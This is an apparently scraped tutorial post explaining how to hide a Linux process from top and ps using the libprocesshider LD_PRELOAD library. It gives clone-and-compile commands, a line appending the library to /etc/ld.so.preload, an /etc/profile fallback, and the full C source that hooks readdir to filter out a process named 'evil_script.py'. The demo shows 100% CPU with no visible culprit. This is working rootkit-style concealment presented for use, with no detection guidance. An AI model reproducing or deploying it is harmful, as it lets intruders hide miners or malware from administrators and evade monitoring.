A method of hiding processes under Linux and the pitfalls encountered

A method of hiding processes under Linux and the pitfalls encountered

Preface

1. The tools used in this article can be downloaded at https://github.com/gianlucaborello/libprocesshider

2. The idea is to use LD_PRELOAD to hijack system functions

What is LD_PRELOAD?

LD_PRELOAD is an environment variable of the Linux system, which can affect the runtime link of the program (Runtime linker). It allows you to define the dynamic link library that is loaded first before the program runs. This function is mainly used to selectively load the same functions in different dynamic link libraries. Through this environment variable, we can load other dynamic link libraries between the main program and its dynamic link library, and even overwrite the normal function library. On the one hand, we can use this function to use our own or better functions (without the need for other people's source code), and on the other hand, we can also inject programs into other people's programs to achieve specific purposes.

accomplish

1. Download the program and compile it

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2. Move the file to the /usr/local/lib/ directory

mv libprocesshider.so /usr/local/lib/

3. Load it into the global dynamic linker

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

test

1. We run evil_script.py

2. At this time, it is found that evil_script.py cannot be found in top and ps

At this time, we found that the CPU was 100%, but we could not find any program that occupied a high CPU.

analyze

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";
/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
  int fd = dirfd(dirp);
  if(fd == -1) {
    return 0;
  }
  char tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    return 0;
  }
  buf[ret] = 0;
  return 1;
}
/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    return 0;
  }
  char tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  FILE* f = fopen(tmp, "r");
  if(f == NULL) {
    return 0;
  }
  if (fgets(tmp, sizeof(tmp), f) == NULL) {
    fclose(f);
    return 0;
  }
  fclose(f);
  int unused;
  sscanf(tmp, "%d (%[^)]s", &unused, buf);
  return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
struct dirent* readdir(DIR *dirp) \
{ \
  if(original_##readdir == NULL) { \
    original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
    if(original_##readdir == NULL) \
    { \
      fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
    } \
  } \
  struct dirent* dir; \
  while(1) \
  { \
    dir = original_##readdir(dirp); \
    if(dir) { \
      char dir_name[256]; \
      char process_name[256]; \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
        strcmp(dir_name, "/proc") == 0 && \
        get_process_name(dir->d_name, process_name) && \
        strcmp(process_name, process_to_filter) == 0) { \
        continue; \
      } \
    } \
    break; \
  } \
  return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

1. The program defines a variable process_to_filter to control which process name is not displayed

2. Rewrite readdir,

strcmp(process_name, process_to_filter) == 0)

When the current process name is found to be the same as process_to_filter, continue the loop.

Pitfalls encountered

1. This program cannot be compiled in some Linux systems

Workaround

Delete one of the last two lines

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

2. Used in some Linux

shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
It will not take effect. At this time, we need to configure the environment variable shell bmfxgkpt-yhd:~# vi /etc/profile
Add a line shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so

Summarize

The above is a method of hiding processes under Linux introduced by the editor and the pitfalls encountered. I hope it will be helpful to everyone. If you have any questions, please leave me a message and the editor will reply to you in time. I would also like to thank everyone for their support of the 123WORDPRESS.COM website!

You may also be interested in:
  • One line of code teaches you how to hide Linux processes

<<:  Example code for implementing WeChat account splitting with Nodejs

>>:  MySQL 5.7 installation and configuration tutorial under CentOS7 (YUM)

Recommend

Comparing Document Locations

<br />A great blog post by PPK two years ago...

Summary of React's way of creating components

Table of contents 1. Create components using func...

Solving problems encountered when importing and exporting Mysql

background Since I converted all my tasks to Dock...

Vue echarts realizes dynamic display of bar chart

This article shares the specific code of vue echa...

Explore how an LED can get you started with the Linux kernel

Table of contents Preface LED Trigger Start explo...

How to modify the port mapping of a running Docker container

Preface When docker run creates and runs a contai...

Eight rules for effective web forms

If you're collecting information from your us...

Getting Started Tutorial for Beginners ④: How to bind subdirectories

To understand what this means, we must first know ...

How CSS affects the white screen time during initial loading

Rendering pipeline with external css files In the...

On Visual Design and Interaction Design

<br />In the entire product design process, ...

Detailed explanation of type protection in TypeScript

Table of contents Overview Type Assertions in syn...

Example to explain the size of MySQL statistics table

Counting the size of each table in each database ...